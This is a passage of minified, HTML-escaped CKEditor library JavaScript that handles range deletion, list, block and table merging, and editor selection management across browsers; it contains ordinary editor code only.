K.setEndAt(M,CKEDITOR.POSITION_AFTER_END));n.dontMoveCaret=H;n.bogusNeededBlocks=U}S=n.range;var aa;da=n.bogusNeededBlocks;for(Z=S.createBookmark();Q=n.zombies.pop();)Q.getParent()&amp;&amp;(Y=S.clone(),Y.moveToElementEditStart(Q),Y.removeEmptyBlocksAtEnd());if(da)for(;Q=da.pop();)CKEDITOR.env.needsBrFiller?Q.appendBogus():Q.append(S.document.createText(&quot; &quot;));for(;Q=n.mergeCandidates.pop();)Q.mergeSiblings();S.moveToBookmark(Z);if(!n.dontMoveCaret){for(Q=g(S);Q&amp;&amp;a(Q)&amp;&amp;!Q.is(k.$empty);){if(Q.isBlockBoundary())S.moveToPosition(Q,
CKEDITOR.POSITION_BEFORE_END);else{if(e(Q)&amp;&amp;Q.getHtml().match(/(\s|&amp;nbsp;)$/g)){aa=null;break}aa=S.clone();aa.moveToPosition(Q,CKEDITOR.POSITION_BEFORE_END)}Q=Q.getLast(c)}aa&amp;&amp;S.moveToRange(aa)}}}}();p=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,b){if(b)return!1;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$tableContent)};b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT};return b}function b(a,c,d){c=a.getDocument().createElement(c);a.append(c,
d);return c}function c(a){var b=a.count(),d;for(b;0&lt;b--;)d=a.getItem(b),CKEDITOR.tools.trim(d.getHtml())||(d.appendBogus(),CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;d.getChildCount()&amp;&amp;d.getFirst().remove())}return function(d){var f=d.startContainer,g=f.getAscendant(&quot;table&quot;,1),e=!1;c(g.getElementsByTag(&quot;td&quot;));c(g.getElementsByTag(&quot;th&quot;));g=d.clone();g.setStart(f,0);g=a(g).lastBackward();g||(g=d.clone(),g.setEndAt(f,CKEDITOR.POSITION_BEFORE_END),g=a(g).lastForward(),e=!0);g||(g=f);g.is(&quot;table&quot;)?(d.setStartAt(g,
CKEDITOR.POSITION_BEFORE_START),d.collapse(!0),g.remove()):(g.is({tbody:1,thead:1,tfoot:1})&amp;&amp;(g=b(g,&quot;tr&quot;,e)),g.is(&quot;tr&quot;)&amp;&amp;(g=b(g,g.getParent().is(&quot;thead&quot;)?&quot;th&quot;:&quot;td&quot;,e)),(f=g.getBogus())&amp;&amp;f.remove(),d.moveToPosition(g,e?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END))}}();y={eol:{detect:function(a,b){var c=a.range,d=c.clone(),f=c.clone(),g=new CKEDITOR.dom.elementPath(c.startContainer,b),e=new CKEDITOR.dom.elementPath(c.endContainer,b);d.collapse(1);f.collapse();g.block&amp;&amp;d.checkBoundaryOfElement(g.block,
CKEDITOR.END)&amp;&amp;(c.setStartAfter(g.block),a.prependEolBr=1);e.block&amp;&amp;f.checkBoundaryOfElement(e.block,CKEDITOR.START)&amp;&amp;(c.setEndBefore(e.block),a.appendEolBr=1)},fix:function(a,b){var c=b.getDocument(),d;a.appendEolBr&amp;&amp;(d=this.createEolBr(c),a.fragment.append(d));!a.prependEolBr||d&amp;&amp;!d.getPrevious()||a.fragment.append(this.createEolBr(c),1)},createEolBr:function(a){return a.createElement(&quot;br&quot;,{attributes:{&quot;data-cke-eol&quot;:1}})}},bogus:{exclude:function(a){var b=a.range.getBoundaryNodes(),c=b.startNode,
b=b.endNode;!b||!u(b)||c&amp;&amp;c.equals(b)||a.range.setEndBefore(b)}},tree:{rebuild:function(a,b){var c=a.range,d=c.getCommonAncestor(),f=new CKEDITOR.dom.elementPath(d,b),g=new CKEDITOR.dom.elementPath(c.startContainer,b),c=new CKEDITOR.dom.elementPath(c.endContainer,b),e;d.type==CKEDITOR.NODE_TEXT&amp;&amp;(d=d.getParent());if(f.blockLimit.is({tr:1,table:1})){var h=f.contains(&quot;table&quot;).getParent();e=function(a){return!a.equals(h)}}else if(f.block&amp;&amp;f.block.is(CKEDITOR.dtd.$listItem)&amp;&amp;(g=g.contains(CKEDITOR.dtd.$list),
c=c.contains(CKEDITOR.dtd.$list),!g.equals(c))){var l=f.contains(CKEDITOR.dtd.$list).getParent();e=function(a){return!a.equals(l)}}e||(e=function(a){return!a.equals(f.block)&amp;&amp;!a.equals(f.blockLimit)});this.rebuildFragment(a,b,d,e)},rebuildFragment:function(a,b,c,d){for(var f;c&amp;&amp;!c.equals(b)&amp;&amp;d(c);)f=c.clone(0,1),a.fragment.appendTo(f),a.fragment=f,c=c.getParent()}},cell:{shrink:function(a){a=a.range;var b=a.startContainer,c=a.endContainer,d=a.startOffset,f=a.endOffset;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
b.equals(c)&amp;&amp;b.is(&quot;tr&quot;)&amp;&amp;++d==f&amp;&amp;a.shrink(CKEDITOR.SHRINK_TEXT)}}};A=function(){function a(b,c){var d=b.getParent();if(d.is(CKEDITOR.dtd.$inline))b[c?&quot;insertBefore&quot;:&quot;insertAfter&quot;](d)}function b(c,d,f){a(d);a(f,1);for(var g;g=f.getNext();)g.insertAfter(d),d=g;v(c)&amp;&amp;c.remove()}function c(a,b){var d=new CKEDITOR.dom.range(a);d.setStartAfter(b.startNode);d.setEndBefore(b.endNode);return d}return{list:{detectMerge:function(a,b){var d=c(b,a.bookmark),f=d.startPath(),g=d.endPath(),e=f.contains(CKEDITOR.dtd.$list),
h=g.contains(CKEDITOR.dtd.$list);a.mergeList=e&amp;&amp;h&amp;&amp;e.getParent().equals(h.getParent())&amp;&amp;!e.equals(h);a.mergeListItems=f.block&amp;&amp;g.block&amp;&amp;f.block.is(CKEDITOR.dtd.$listItem)&amp;&amp;g.block.is(CKEDITOR.dtd.$listItem);if(a.mergeList||a.mergeListItems)d=d.clone(),d.setStartBefore(a.bookmark.startNode),d.setEndAfter(a.bookmark.endNode),a.mergeListBookmark=d.createBookmark()},merge:function(a,c){if(a.mergeListBookmark){var d=a.mergeListBookmark.startNode,f=a.mergeListBookmark.endNode,g=new CKEDITOR.dom.elementPath(d,
c),e=new CKEDITOR.dom.elementPath(f,c);if(a.mergeList){var h=g.contains(CKEDITOR.dtd.$list),l=e.contains(CKEDITOR.dtd.$list);h.equals(l)||(l.moveChildren(h),l.remove())}a.mergeListItems&amp;&amp;(g=g.contains(CKEDITOR.dtd.$listItem),e=e.contains(CKEDITOR.dtd.$listItem),g.equals(e)||b(e,d,f));d.remove();f.remove()}}},block:{detectMerge:function(a,b){if(!a.tableContentsRanges&amp;&amp;!a.mergeListBookmark){var c=new CKEDITOR.dom.range(b);c.setStartBefore(a.bookmark.startNode);c.setEndAfter(a.bookmark.endNode);a.mergeBlockBookmark=
c.createBookmark()}},merge:function(a,c){if(a.mergeBlockBookmark&amp;&amp;!a.purgeTableBookmark){var d=a.mergeBlockBookmark.startNode,f=a.mergeBlockBookmark.endNode,g=new CKEDITOR.dom.elementPath(d,c),e=new CKEDITOR.dom.elementPath(f,c),g=g.block,e=e.block;g&amp;&amp;e&amp;&amp;!g.equals(e)&amp;&amp;b(e,d,f);d.remove();f.remove()}}},table:function(){function a(c){var f=[],g,e=new CKEDITOR.dom.walker(c),h=c.startPath().contains(d),l=c.endPath().contains(d),k={};e.guard=function(a,e){if(a.type==CKEDITOR.NODE_ELEMENT){var m=&quot;visited_&quot;+
(e?&quot;out&quot;:&quot;in&quot;);if(a.getCustomData(m))return;CKEDITOR.dom.element.setMarker(k,a,m,1)}if(e&amp;&amp;h&amp;&amp;a.equals(h))g=c.clone(),g.setEndAt(h,CKEDITOR.POSITION_BEFORE_END),f.push(g);else if(!e&amp;&amp;l&amp;&amp;a.equals(l))g=c.clone(),g.setStartAt(l,CKEDITOR.POSITION_AFTER_START),f.push(g);else{if(m=!e)m=a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(d)&amp;&amp;(!h||b(a,h))&amp;&amp;(!l||b(a,l));m&amp;&amp;(g=c.clone(),g.selectNodeContents(a),f.push(g))}};e.lastForward();CKEDITOR.dom.element.clearAllMarkers(k);return f}function b(a,c){var d=CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_IS_CONTAINED,f=a.getPosition(c);return f===CKEDITOR.POSITION_IDENTICAL?!1:0===(f&amp;d)}var d={td:1,th:1,caption:1};return{detectPurge:function(a){var b=a.range,c=b.clone();c.enlarge(CKEDITOR.ENLARGE_ELEMENT);var c=new CKEDITOR.dom.walker(c),f=0;c.evaluator=function(a){a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(d)&amp;&amp;++f};c.checkForward();if(1&lt;f){var c=b.startPath().contains(&quot;table&quot;),g=b.endPath().contains(&quot;table&quot;);c&amp;&amp;g&amp;&amp;b.checkBoundaryOfElement(c,CKEDITOR.START)&amp;&amp;b.checkBoundaryOfElement(g,
CKEDITOR.END)&amp;&amp;(b=a.range.clone(),b.setStartBefore(c),b.setEndAfter(g),a.purgeTableBookmark=b.createBookmark())}},detectRanges:function(f,g){var e=c(g,f.bookmark),h=e.clone(),l,k,m=e.getCommonAncestor();m.is(CKEDITOR.dtd.$tableContent)&amp;&amp;!m.is(d)&amp;&amp;(m=m.getAscendant(&quot;table&quot;,!0));k=m;m=new CKEDITOR.dom.elementPath(e.startContainer,k);k=new CKEDITOR.dom.elementPath(e.endContainer,k);m=m.contains(&quot;table&quot;);k=k.contains(&quot;table&quot;);if(m||k)m&amp;&amp;k&amp;&amp;b(m,k)?(f.tableSurroundingRange=h,h.setStartAt(m,CKEDITOR.POSITION_AFTER_END),
h.setEndAt(k,CKEDITOR.POSITION_BEFORE_START),h=e.clone(),h.setEndAt(m,CKEDITOR.POSITION_AFTER_END),l=e.clone(),l.setStartAt(k,CKEDITOR.POSITION_BEFORE_START),l=a(h).concat(a(l))):m?k||(f.tableSurroundingRange=h,h.setStartAt(m,CKEDITOR.POSITION_AFTER_END),e.setEndAt(m,CKEDITOR.POSITION_AFTER_END)):(f.tableSurroundingRange=h,h.setEndAt(k,CKEDITOR.POSITION_BEFORE_START),e.setStartAt(k,CKEDITOR.POSITION_AFTER_START)),f.tableContentsRanges=l?l:a(e)},deleteRanges:function(a){for(var b;b=a.tableContentsRanges.pop();)b.extractContents(),
v(b.startContainer)&amp;&amp;b.startContainer.appendBogus();a.tableSurroundingRange&amp;&amp;a.tableSurroundingRange.extractContents()},purge:function(a){if(a.purgeTableBookmark){var b=a.doc,c=a.range.clone(),b=b.createElement(&quot;p&quot;);b.insertBefore(a.purgeTableBookmark.startNode);c.moveToBookmark(a.purgeTableBookmark);c.deleteContents();a.range.moveToPosition(b,CKEDITOR.POSITION_AFTER_START)}}}}(),detectExtractMerge:function(a){return!(a.range.startPath().contains(CKEDITOR.dtd.$listItem)&amp;&amp;a.range.endPath().contains(CKEDITOR.dtd.$listItem))},
fixUneditableRangePosition:function(a){a.startContainer.getDtd()[&quot;#&quot;]||a.moveToClosestEditablePosition(null,!0)},autoParagraph:function(a,b){var c=b.startPath(),d;m(a,c.block,c.blockLimit)&amp;&amp;(d=f(a))&amp;&amp;(d=b.document.createElement(d),d.appendBogus(),b.insertNode(d),b.moveToPosition(d,CKEDITOR.POSITION_AFTER_START))}}}()}(),function(){function a(){var a=this._.fakeSelection,b;a&amp;&amp;(b=this.getSelection(1),b&amp;&amp;b.isHidden()||(a.reset(),a=0));if(!a&amp;&amp;(a=b||this.getSelection(1),!a||a.getType()==CKEDITOR.SELECTION_NONE))return;
this.fire(&quot;selectionCheck&quot;,a);b=this.elementPath();b.compare(this._.selectionPreviousPath)||(CKEDITOR.env.webkit&amp;&amp;(this._.previousActive=this.document.getActive()),this._.selectionPreviousPath=b,this.fire(&quot;selectionChange&quot;,{selection:a,path:b}))}function e(){v=!0;n||(b.call(this),n=CKEDITOR.tools.setTimeout(b,200,this))}function b(){n=null;v&amp;&amp;(CKEDITOR.tools.setTimeout(a,0,this),v=!1)}function c(a){return u(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!a.is(CKEDITOR.dtd.$empty)?!0:!1}function d(a){function b(c,
d){return c&amp;&amp;c.type!=CKEDITOR.NODE_TEXT?a.clone()[&quot;moveToElementEdit&quot;+(d?&quot;End&quot;:&quot;Start&quot;)](c):!1}if(!(a.root instanceof CKEDITOR.editable))return!1;var d=a.startContainer,f=a.getPreviousNode(c,null,d),g=a.getNextNode(c,null,d);return b(f)||b(g,1)||!(f||g||d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isBlockBoundary()&amp;&amp;d.getBogus())?!0:!1}function k(a){m(a,!1);var b=a.getDocument().createText(A);a.setCustomData(&quot;cke-fillingChar&quot;,b);return b}function m(a,b){var c=a&amp;&amp;a.removeCustomData(&quot;cke-fillingChar&quot;);if(c){if(!1!==
b){var d=a.getDocument().getSelection().getNative(),g=d&amp;&amp;&quot;None&quot;!=d.type&amp;&amp;d.getRangeAt(0),e=A.length;if(c.getLength()&gt;e&amp;&amp;g&amp;&amp;g.intersectsNode(c.$)){var h=[{node:d.anchorNode,offset:d.anchorOffset},{node:d.focusNode,offset:d.focusOffset}];d.anchorNode==c.$&amp;&amp;d.anchorOffset&gt;e&amp;&amp;(h[0].offset-=e);d.focusNode==c.$&amp;&amp;d.focusOffset&gt;e&amp;&amp;(h[1].offset-=e)}}c.setText(f(c.getText(),1));h&amp;&amp;(c=a.getDocument().$,d=c.getSelection(),c=c.createRange(),c.setStart(h[0].node,h[0].offset),c.collapse(!0),d.removeAllRanges(),
d.addRange(c),d.extend(h[1].node,h[1].offset))}}function f(a,b){return b?a.replace(z,function(a,b){return b?&quot; &quot;:&quot;&quot;}):a.replace(A,&quot;&quot;)}function h(a,b){var c=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv data-cke-hidden-sel\x3d&quot;1&quot; data-cke-temp\x3d&quot;1&quot; style\x3d&quot;&#039;+(CKEDITOR.env.ie?&quot;display:none&quot;:&quot;position:fixed;top:0;left:-1000px&quot;)+&#039;&quot;\x3e&#039;+(b||&quot;\x26nbsp;&quot;)+&quot;\x3c/div\x3e&quot;,a.document);a.fire(&quot;lockSnapshot&quot;);a.editable().append(c);var d=a.getSelection(1),f=a.createRange(),g=d.root.on(&quot;selectionchange&quot;,function(a){a.cancel()},
null,null,0);f.setStartAt(c,CKEDITOR.POSITION_AFTER_START);f.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);d.selectRanges([f]);g.removeListener();a.fire(&quot;unlockSnapshot&quot;);a._.hiddenSelectionContainer=c}function l(a){var b={37:1,39:1,8:1,46:1};return function(c){var d=c.data.getKeystroke();if(b[d]){var f=a.getSelection().getRanges(),g=f[0];1==f.length&amp;&amp;g.collapsed&amp;&amp;(d=g[38&gt;d?&quot;getPreviousEditableNode&quot;:&quot;getNextEditableNode&quot;]())&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;false&quot;==d.getAttribute(&quot;contenteditable&quot;)&amp;&amp;(a.getSelection().fake(d),
c.data.preventDefault(),c.cancel())}}}function g(a){for(var b=0;b&lt;a.length;b++){var c=a[b];c.getCommonAncestor().isReadOnly()&amp;&amp;a.splice(b,1);if(!c.collapsed){if(c.startContainer.isReadOnly())for(var d=c.startContainer,f;d&amp;&amp;!((f=d.type==CKEDITOR.NODE_ELEMENT)&amp;&amp;d.is(&quot;body&quot;)||!d.isReadOnly());)f&amp;&amp;&quot;false&quot;==d.getAttribute(&quot;contentEditable&quot;)&amp;&amp;c.setStartAfter(d),d=d.getParent();d=c.startContainer;f=c.endContainer;var g=c.startOffset,e=c.endOffset,h=c.clone();d&amp;&amp;d.type==CKEDITOR.NODE_TEXT&amp;&amp;(g&gt;=d.getLength()?
h.setStartAfter(d):h.setStartBefore(d));f&amp;&amp;f.type==CKEDITOR.NODE_TEXT&amp;&amp;(e?h.setEndAfter(f):h.setEndBefore(f));d=new CKEDITOR.dom.walker(h);d.evaluator=function(d){if(d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isReadOnly()){var f=c.clone();c.setEndBefore(d);c.collapsed&amp;&amp;a.splice(b--,1);d.getPosition(h.endContainer)&amp;CKEDITOR.POSITION_CONTAINS||(f.setStartAfter(d),f.collapsed||a.splice(b+1,0,f));return!0}return!1};d.next()}}return a}var n,v,u=CKEDITOR.dom.walker.invisible(1),q=function(){function a(b){return function(a){var c=
a.editor.createRange();c.moveToClosestEditablePosition(a.selected,b)&amp;&amp;a.editor.getSelection().selectRanges([c]);return!1}}function b(a){return function(b){var c=b.editor,d=c.createRange(),f;(f=d.moveToClosestEditablePosition(b.selected,a))||(f=d.moveToClosestEditablePosition(b.selected,!a));f&amp;&amp;c.getSelection().selectRanges([d]);c.fire(&quot;saveSnapshot&quot;);b.selected.remove();f||(d.moveToElementEditablePosition(c.editable()),c.getSelection().selectRanges([d]));c.fire(&quot;saveSnapshot&quot;);return!1}}var c=a(),
d=a(1);return{37:c,38:c,39:d,40:d,8:b(),46:b(1)}}();CKEDITOR.on(&quot;instanceCreated&quot;,function(b){function c(){var a=d.getSelection();a&amp;&amp;a.removeAllRanges()}var d=b.editor;d.on(&quot;contentDom&quot;,function(){function b(){y=new CKEDITOR.dom.selection(d.getSelection());y.lock()}function c(){g.removeListener(&quot;mouseup&quot;,c);n.removeListener(&quot;mouseup&quot;,c);var a=CKEDITOR.document.$.selection,b=a.createRange();&quot;None&quot;!=a.type&amp;&amp;b.parentElement().ownerDocument==f.$&amp;&amp;b.select()}var f=d.document,g=CKEDITOR.document,h=d.editable(),
k=f.getBody(),n=f.getDocumentElement(),r=h.isInline(),q,y;CKEDITOR.env.gecko&amp;&amp;h.attachListener(h,&quot;focus&quot;,function(a){a.removeListener();0!==q&amp;&amp;(a=d.getSelection().getNative())&amp;&amp;a.isCollapsed&amp;&amp;a.anchorNode==h.$&amp;&amp;(a=d.createRange(),a.moveToElementEditStart(h),a.select())},null,null,-2);h.attachListener(h,CKEDITOR.env.webkit?&quot;DOMFocusIn&quot;:&quot;focus&quot;,function(){q&amp;&amp;CKEDITOR.env.webkit&amp;&amp;(q=d._.previousActive&amp;&amp;d._.previousActive.equals(f.getActive()));d.unlockSelection(q);q=0},null,null,-1);h.attachListener(h,
&quot;mousedown&quot;,function(){q=0});if(CKEDITOR.env.ie||r)t?h.attachListener(h,&quot;beforedeactivate&quot;,b,null,null,-1):h.attachListener(d,&quot;selectionCheck&quot;,b,null,null,-1),h.attachListener(h,CKEDITOR.env.webkit?&quot;DOMFocusOut&quot;:&quot;blur&quot;,function(){d.lockSelection(y);q=1},null,null,-1),h.attachListener(h,&quot;mousedown&quot;,function(){q=0});if(CKEDITOR.env.ie&amp;&amp;!r){var p;h.attachListener(h,&quot;mousedown&quot;,function(a){2==a.data.$.button&amp;&amp;((a=d.document.getSelection())&amp;&amp;a.getType()!=CKEDITOR.SELECTION_NONE||(p=d.window.getScrollPosition()))});
h.attachListener(h,&quot;mouseup&quot;,function(a){2==a.data.$.button&amp;&amp;p&amp;&amp;(d.document.$.documentElement.scrollLeft=p.x,d.document.$.documentElement.scrollTop=p.y);p=null});if(&quot;BackCompat&quot;!=f.$.compatMode){if(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)n.on(&quot;mousedown&quot;,function(a){function b(a){a=a.data.$;if(d){var c=k.$.createTextRange();try{c.moveToPoint(a.clientX,a.clientY)}catch(f){}d.setEndPoint(0&gt;e.compareEndPoints(&quot;StartToStart&quot;,c)?&quot;EndToEnd&quot;:&quot;StartToStart&quot;,c);d.select()}}function c(){n.removeListener(&quot;mousemove&quot;,
b);g.removeListener(&quot;mouseup&quot;,c);n.removeListener(&quot;mouseup&quot;,c);d.select()}a=a.data;if(a.getTarget().is(&quot;html&quot;)&amp;&amp;a.$.y&lt;n.$.clientHeight&amp;&amp;a.$.x&lt;n.$.clientWidth){var d=k.$.createTextRange();try{d.moveToPoint(a.$.clientX,a.$.clientY)}catch(f){}var e=d.duplicate();n.on(&quot;mousemove&quot;,b);g.on(&quot;mouseup&quot;,c);n.on(&quot;mouseup&quot;,c)}});if(7&lt;CKEDITOR.env.version&amp;&amp;11&gt;CKEDITOR.env.version)n.on(&quot;mousedown&quot;,function(a){a.data.getTarget().is(&quot;html&quot;)&amp;&amp;(g.on(&quot;mouseup&quot;,c),n.on(&quot;mouseup&quot;,c))})}}h.attachListener(h,&quot;selectionchange&quot;,
a,d);h.attachListener(h,&quot;keyup&quot;,e,d);h.attachListener(h,CKEDITOR.env.webkit?&quot;DOMFocusIn&quot;:&quot;focus&quot;,function(){d.forceNextSelectionCheck();d.selectionChange(1)});if(r&amp;&amp;(CKEDITOR.env.webkit||CKEDITOR.env.gecko)){var u;h.attachListener(h,&quot;mousedown&quot;,function(){u=1});h.attachListener(f.getDocumentElement(),&quot;mouseup&quot;,function(){u&amp;&amp;e.call(d);u=0})}else h.attachListener(CKEDITOR.env.ie?h:f.getDocumentElement(),&quot;mouseup&quot;,e,d);CKEDITOR.env.webkit&amp;&amp;h.attachListener(f,&quot;keydown&quot;,function(a){switch(a.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:m(h)}},
null,null,-1);h.attachListener(h,&quot;keydown&quot;,l(d),null,null,-1)});d.on(&quot;setData&quot;,function(){d.unlockSelection();CKEDITOR.env.webkit&amp;&amp;c()});d.on(&quot;contentDomUnload&quot;,function(){d.unlockSelection()});if(CKEDITOR.env.ie9Compat)d.on(&quot;beforeDestroy&quot;,c,null,null,9);d.on(&quot;dataReady&quot;,function(){delete d._.fakeSelection;delete d._.hiddenSelectionContainer;d.selectionChange(1)});d.on(&quot;loadSnapshot&quot;,function(){var a=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT),b=d.editable().getLast(a);b&amp;&amp;b.hasAttribute(&quot;data-cke-hidden-sel&quot;)&amp;&amp;
(b.remove(),CKEDITOR.env.gecko&amp;&amp;(a=d.editable().getFirst(a))&amp;&amp;a.is(&quot;br&quot;)&amp;&amp;a.getAttribute(&quot;_moz_editor_bogus_node&quot;)&amp;&amp;a.remove())},null,null,100);d.on(&quot;key&quot;,function(a){if(&quot;wysiwyg&quot;==d.mode){var b=d.getSelection();if(b.isFake){var c=q[a.data.keyCode];if(c)return c({editor:d,selected:b.getSelectedElement(),selection:b,keyEvent:a})}}})});if(CKEDITOR.env.webkit)CKEDITOR.on(&quot;instanceReady&quot;,function(a){var b=a.editor;b.on(&quot;selectionChange&quot;,function(){var a=b.editable(),c=a.getCustomData(&quot;cke-fillingChar&quot;);
c&amp;&amp;(c.getCustomData(&quot;ready&quot;)?m(a):c.setCustomData(&quot;ready&quot;,1))},null,null,-1);b.on(&quot;beforeSetMode&quot;,function(){m(b.editable())},null,null,-1);b.on(&quot;getSnapshot&quot;,function(a){a.data&amp;&amp;(a.data=f(a.data))},b,null,20);b.on(&quot;toDataFormat&quot;,function(a){a.data.dataValue=f(a.data.dataValue)},null,null,0)});CKEDITOR.editor.prototype.selectionChange=function(b){(b?a:e).call(this)};CKEDITOR.editor.prototype.getSelection=function(a){return!this._.savedSelection&amp;&amp;!this._.fakeSelection||a?(a=this.editable())&amp;&amp;&quot;wysiwyg&quot;==
this.mode?new CKEDITOR.dom.selection(a):null:this._.savedSelection||this._.fakeSelection};CKEDITOR.editor.prototype.lockSelection=function(a){a=a||this.getSelection(1);return a.getType()!=CKEDITOR.SELECTION_NONE?(!a.isLocked&amp;&amp;a.lock(),this._.savedSelection=a,!0):!1};CKEDITOR.editor.prototype.unlockSelection=function(a){var b=this._.savedSelection;return b?(b.unlock(a),delete this._.savedSelection,!0):!1};CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selectionPreviousPath};
CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)};CKEDITOR.dom.range.prototype.select=function(){var a=this.root instanceof CKEDITOR.editable?this.root.editor.getSelection():new CKEDITOR.dom.selection(this.root);a.selectRanges([this]);return a};CKEDITOR.SELECTION_NONE=1;CKEDITOR.SELECTION_TEXT=2;CKEDITOR.SELECTION_ELEMENT=3;var t=&quot;function&quot;!=typeof window.getSelection,p=1;CKEDITOR.dom.selection=function(a){if(a instanceof CKEDITOR.dom.selection){var b=
a;a=a.root}var c=a instanceof CKEDITOR.dom.element;this.rev=b?b.rev:p++;this.document=a instanceof CKEDITOR.dom.document?a:a.getDocument();this.root=c?a:this.document.getBody();this.isLocked=0;this._={cache:{}};if(b)return CKEDITOR.tools.extend(this._.cache,b._.cache),this.isFake=b.isFake,this.isLocked=b.isLocked,this;a=this.getNative();var d,f;if(a)if(a.getRangeAt)d=(f=a.rangeCount&amp;&amp;a.getRangeAt(0))&amp;&amp;new CKEDITOR.dom.node(f.commonAncestorContainer);else{try{f=a.createRange()}catch(g){}d=f&amp;&amp;CKEDITOR.dom.element.get(f.item&amp;&amp;
f.item(0)||f.parentElement())}if(!d||d.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;d.type!=CKEDITOR.NODE_TEXT||!this.root.equals(d)&amp;&amp;!this.root.contains(d))this._.cache.type=CKEDITOR.SELECTION_NONE,this._.cache.startElement=null,this._.cache.selectedElement=null,this._.cache.selectedText=&quot;&quot;,this._.cache.ranges=new CKEDITOR.dom.rangeList;return this};var y={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1},A=CKEDITOR.tools.repeat(&quot;​&quot;,
7),z=new RegExp(A+&quot;( )?&quot;,&quot;g&quot;);CKEDITOR.tools.extend(CKEDITOR.dom.selection,{_removeFillingCharSequenceString:f,_createFillingCharSequenceNode:k,FILLING_CHAR_SEQUENCE:A});CKEDITOR.dom.selection.prototype={getNative:function(){return void 0!==this._.cache.nativeSel?this._.cache.nativeSel:this._.cache.nativeSel=t?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:t?function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_NONE;try{var c=this.getNative(),
d=c.type;&quot;Text&quot;==d&amp;&amp;(b=CKEDITOR.SELECTION_TEXT);&quot;Control&quot;==d&amp;&amp;(b=CKEDITOR.SELECTION_ELEMENT);c.createRange().parentElement()&amp;&amp;(b=CKEDITOR.SELECTION_TEXT)}catch(f){}return a.type=b}:function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_TEXT,c=this.getNative();if(!c||!c.rangeCount)b=CKEDITOR.SELECTION_NONE;else if(1==c.rangeCount){var c=c.getRangeAt(0),d=c.startContainer;d==c.endContainer&amp;&amp;1==d.nodeType&amp;&amp;1==c.endOffset-c.startOffset&amp;&amp;y[d.childNodes[c.startOffset].nodeName.toLowerCase()]&amp;&amp;
(b=CKEDITOR.SELECTION_ELEMENT)}return a.type=b},getRanges:function(){var a=t?function(){function a(b){return(new CKEDITOR.dom.node(b)).getIndex()}var b=function(b,c){b=b.duplicate();b.collapse(c);var d=b.parentElement();if(!d.hasChildNodes())return{container:d,offset:0};for(var f=d.children,g,e,h=b.duplicate(),l=0,k=f.length-1,m=-1,n,q;l&lt;=k;)if(m=Math.floor((l+k)/2),g=f[m],h.moveToElementText(g),n=h.compareEndPoints(&quot;StartToStart&quot;,b),0&lt;n)k=m-1;else if(0&gt;n)l=m+1;else return{container:d,offset:a(g)};
if(-1==m||m==f.length-1&amp;&amp;0&gt;n){h.moveToElementText(d);h.setEndPoint(&quot;StartToStart&quot;,b);h=h.text.replace(/(\r\n|\r)/g,&quot;\n&quot;).length;f=d.childNodes;if(!h)return g=f[f.length-1],g.nodeType!=CKEDITOR.NODE_TEXT?{container:d,offset:f.length}:{container:g,offset:g.nodeValue.length};for(d=f.length;0&lt;h&amp;&amp;0&lt;d;)e=f[--d],e.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;(q=e,h-=e.nodeValue.length);return{container:q,offset:-h}}h.collapse(0&lt;n?!0:!1);h.setEndPoint(0&lt;n?&quot;StartToStart&quot;:&quot;EndToStart&quot;,b);h=h.text.replace(/(\r\n|\r)/g,&quot;\n&quot;).length;
if(!h)return{container:d,offset:a(g)+(0&lt;n?0:1)};for(;0&lt;h;)try{e=g[0&lt;n?&quot;previousSibling&quot;:&quot;nextSibling&quot;],e.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;(h-=e.nodeValue.length,q=e),g=e}catch(y){return{container:d,offset:a(g)}}return{container:q,offset:0&lt;n?-h:q.nodeValue.length+h}};return function(){var a=this.getNative(),c=a&amp;&amp;a.createRange(),d=this.getType();if(!a)return[];if(d==CKEDITOR.SELECTION_TEXT)return a=new CKEDITOR.dom.range(this.root),d=b(c,!0),a.setStart(new CKEDITOR.dom.node(d.container),d.offset),d=b(c),
a.setEnd(new CKEDITOR.dom.node(d.container),d.offset),a.endContainer.getPosition(a.startContainer)&amp;CKEDITOR.POSITION_PRECEDING&amp;&amp;a.endOffset&lt;=a.startContainer.getIndex()&amp;&amp;a.collapse(),[a];if(d==CKEDITOR.SELECTION_ELEMENT){for(var d=[],f=0;f&lt;c.length;f++){for(var g=c.item(f),e=g.parentNode,h=0,a=new CKEDITOR.dom.range(this.root);h&lt;e.childNodes.length&amp;&amp;e.childNodes[h]!=g;h++);a.setStart(new CKEDITOR.dom.node(e),h);a.setEnd(new CKEDITOR.dom.node(e),h+1);d.push(a)}return d}return[]}}():function(){var a=
